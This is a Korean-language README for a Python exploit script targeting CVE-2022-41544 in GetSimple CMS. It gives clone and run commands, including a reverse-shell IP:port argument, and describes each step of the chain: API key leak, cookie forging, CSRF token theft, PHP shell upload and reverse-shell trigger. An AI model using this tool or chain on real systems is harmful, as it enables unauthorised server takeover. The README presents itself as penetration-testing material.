
GetSimple CMS의 CVE-2022-41544에 대한 Python 익스플로잇 스크립트입니다. 침투 테스트를 위해 API 키 유출, CSRF 토큰 추출, PHP 셸 업로드 및 리버스 셸 트리거를 자동화합니다.
이 저장소는 GetSimple CMS의 CVE-2022-41544 취약점을 익스플로잇하는 스크립트를 포함합니다. 스크립트는 취약점 확인, API 키 유출, 쿠키 설정, CSRF 토큰 획득, 셸 업로드 및 셸 트리거 등의 여러 단계를 수행합니다.
telnetlib 임포트를 제거했습니다. 스크립트 기능에 필요하지 않았기 때문입니다.저장소 클론:
git clone https://github.com/n3rdyn3xus/CVE-2022-41544.git
cd CVE-2022-41544
의존성 설치:
Python 3 및 requests 라이브러리가 설치되어 있는지 확인하십시오.
pip3 install requests
스크립트 실행:
python3 CVE-2022-41544.py <target> <path> <ip:port> <username>
<target>: 대상 도메인 또는 IP 주소.<path>: GetSimple CMS 설치 경로.<ip:port>: 리버스 셸(reverse shell)용 IP 및 포트.<username>: GetSimple CMS의 관리자 사용자 이름.예:
python3 CVE-2022-41544.py 10.129.42.249 /CMS 10.10.14.8:4444 admin


print_the_banner(): ASCII 아트를 사용하여 스타일화된 배너를 표시합니다.get_version(target, path): 대상 GetSimple CMS 버전이 취약한지 확인합니다.api_leak(target, path): 인증 XML 파일에서 API 키를 검색하려고 시도합니다.set_cookies(username, version, apikey): 검색된 API 키를 기반으로 후속 요청에 필요한 쿠키를 설정합니다.get_csrf_token(target, path, headers): 셸 업로드에 필요한 CSRF 토큰을 추출합니다.upload_shell(target, path, headers, nonce, shell_content): 대상 서버에 PHP 셸을 업로드합니다.shell_trigger(target, path): 업로드된 셸을 트리거하여 리버스 셸 연결을 설정합니다.main() 함수는 위 함수들을 순서대로 호출하여 CVE-2022-41544 취약점을 익스플로잇하는 전체 과정을 조율합니다.
이 스크립트는 h3x0v3rl0rd에 의해 개발되었습니다.
이 스크립트는 교육 목적으로만 제공됩니다. 시스템에 대한 무단 접근은 불법이며 비윤리적입니다. 이 스크립트를 책임감 있게 사용하고, 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.